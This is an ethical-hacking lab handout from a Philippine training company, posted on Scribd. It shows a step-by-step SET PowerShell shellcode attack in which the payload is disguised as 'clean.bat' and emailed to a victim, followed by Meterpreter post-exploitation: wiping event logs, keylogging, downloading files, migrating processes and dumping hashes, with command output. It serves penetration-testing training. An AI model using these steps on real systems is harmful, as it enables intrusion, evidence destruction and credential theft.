Scribd Logo
Upload

Welcome to Scribd!

  • 06 - Powershell Attack - Tested

    Uploaded by

    Johnpatrick Dejesus
    152 views3 pages
    This document provides instructions for using tools in the SET toolkit to perform a social engineering penetration test using PowerShell attacks. It outlines launching SET, using the PowerShell Alphanumeric Shellcode Injector to generate a payload, sending it to a victim, and using meterpreter to interact with the compromised system by clearing logs, downloading files, capturing keystrokes, and migrating between processes. The document notes that root access requires migrating to a service process due to access denial errors when trying to dump hashes. It concludes by asking how Nexus should protect against Powershell attacks as an ethical hacker.

    Original Description:

    Copyright

    © © All Rights Reserved

    Available Formats

    PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    This document provides instructions for using tools in the SET toolkit to perform a social engineering penetration test using PowerShell attacks. It outlines launching SET, using the PowerShell Alphanumeric Shellcode Injector to generate a payload, sending it to a victim, and using meterpreter to interact with the compromised system by clearing logs, downloading files, capturing keystrokes, and migrating between processes. The document notes that root access requires migrating to a service process due to access denial errors when trying to dump hashes. It concludes by asking how Nexus should protect against Powershell attacks as an ethical hacker.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as pdf or txt
    152 views3 pages

    06 - Powershell Attack - Tested

    Uploaded by

    Johnpatrick Dejesus
    This document provides instructions for using tools in the SET toolkit to perform a social engineering penetration test using PowerShell attacks. It outlines launching SET, using the PowerShell Alphanumeric Shellcode Injector to generate a payload, sending it to a victim, and using meterpreter to interact with the compromised system by clearing logs, downloading files, capturing keystrokes, and migrating between processes. The document notes that root access requires migrating to a service process due to access denial errors when trying to dump hashes. It concludes by asking how Nexus should protect against Powershell attacks as an ethical hacker.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as pdf or txt
    of 3

    NEXUS EDUCATION SERVICES

    📍 Suite 1611 16th Floor AIC Burgundy Empire Tower ADB Ave corner Garnet Road Ortigas Center Pasig
    ☎ Smart: 09998165357 ☎ PLDT: 788-1419 📧 kdoz@live.com 🌐 www.nexusph.net

    This is an intellectual property of Nexus Education services. Reproduction and distribution without consent will be sued to the court of Law.
    The law: Republic Act No. 8293 [An Act Prescribing the Intellectual Property Code and Establishing the Intellectual Property Office, Providing for Its Powers and Functions, and for Other
    Purposes] otherwise known as the Intellectual Property Code of the Philippines

    Social Engineering Penetration Testing using PowerShell Attack

    As a responsible ethical hacker, security engineer or penetration tester you should be familiar with the tools to
    perform a penetration testing

    HANDS-ON LAB:

    Lab Objectives:

    Lab Duration:
    ▪ Time: 45 minutes

    Lab Environment
    ▪ You need internet connection

    Lab Tasks

    Tools

    Step-by-Steps Instructions

    Open a new Terminal and run SET


    setoolkit
    1) Social-Engineering Attacks

    9) Powershell Attack Vectors

    1) Powershell Alphanumeric Shellcode Injector

    enter the ip ok Kali 192.168.145.130

    accept 443 press enter

    type yes

    ! open a new term and look for the powershell injection file

    ls /root/.set/reports/powershell and you will see a file call x86_powershell_injection.txt

    cp /root/.set/reports/powershell/ Desktop

    rename x86_powershell_injection.txt to clean.bat and send it to the victim via email

    1 I have copied the file already to windows server 2012 desktop, just run clean.bat

    Go back to the Kali with meterpreter open and type sessions -i 1

    msf5 exploit(multi/handler) > sessions -i 1

    1
    NEXUS EDUCATION SERVICES
    📍 Suite 1611 16th Floor AIC Burgundy Empire Tower ADB Ave corner Garnet Road Ortigas Center Pasig
    ☎ Smart: 09998165357 ☎ PLDT: 788-1419 📧 kdoz@live.com 🌐 www.nexusph.net

    This is an intellectual property of Nexus Education services. Reproduction and distribution without consent will be sued to the court of Law.
    The law: Republic Act No. 8293 [An Act Prescribing the Intellectual Property Code and Establishing the Intellectual Property Office, Providing for Its Powers and Functions, and for Other
    Purposes] otherwise known as the Intellectual Property Code of the Philippines

    [*] Starting interaction with 1...

    Type sysinfo

    meterpreter > sysinfo


    Computer : NEXUSSERVER
    OS : Windows 2012 R2 (Build 9600).
    Architecture : x64
    System Language : en_US
    Domain : WORKGROUP
    Logged On Users : 1
    Meterpreter : x86/windows

    type ? to see all commands available

    Go to windows and type eventvwr check to see that the windows logs has thousands of event log which is about to
    disappear

    go back to Kali and type clearev

    meterpreter > clearev


    [*] Wiping 1612 records from Application...
    [*] Wiping 3201 records from System...
    [*] Wiping 9106 records from Security...

    execute -f calc

    ! Start capturing keystrokes


    keyscan_start

    ! Dump the keystroke buffer and you will see all the keystroke from server 2012
    keyscan_dump

    ! Stop keylogger
    keyscan_stop

    ! go to Windows dir and you will see that you have gained access to windows servers drive c:
    cd c:\windows
    pwd
    ls

    ! Download a file from victims PC to your Kali


    pwd
    cd C:\Users\Administrator\pictures
    download cat.jpg

    meterpreter > shell


    Process 452 created.

    2
    NEXUS EDUCATION SERVICES
    📍 Suite 1611 16th Floor AIC Burgundy Empire Tower ADB Ave corner Garnet Road Ortigas Center Pasig
    ☎ Smart: 09998165357 ☎ PLDT: 788-1419 📧 kdoz@live.com 🌐 www.nexusph.net

    This is an intellectual property of Nexus Education services. Reproduction and distribution without consent will be sued to the court of Law.
    The law: Republic Act No. 8293 [An Act Prescribing the Intellectual Property Code and Establishing the Intellectual Property Office, Providing for Its Powers and Functions, and for Other
    Purposes] otherwise known as the Intellectual Property Code of the Philippines

    Channel 1 created.
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.

    meterpreter > execute -f cmd.exe -i -H


    Process 3708 created.
    Channel 1 created.
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.

    C:\Users\Administrator\Downloads>ps

    meterpreter > run post/windows/manage/migrate

    [*] Running module against NEXUSSERVER


    [*] Current server process: powershell.exe (2844)
    [*] Spawning notepad.exe process to migrate to
    [+] Migrating to 4068
    [+] Successfully migrated to process 4068

    meterpreter > run post/windows/gather/hashdump

    [*] Obtaining the boot key...


    [*] Calculating the hboot key using SYSKEY f93580f87e94025a7a009eb1886569f1...
    [-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed:
    Access is denied.
    [-] This script requires the use of a SYSTEM user context (hint: migrate into service process)

    Result of penetration testing: by now you should know how attacker send keylogger and gather the username
    and password to be used for remote connection to gain root access

    Question: As a Nexus Ethical Hacker what should you do to protect your company from Powershell Attack

    You might also like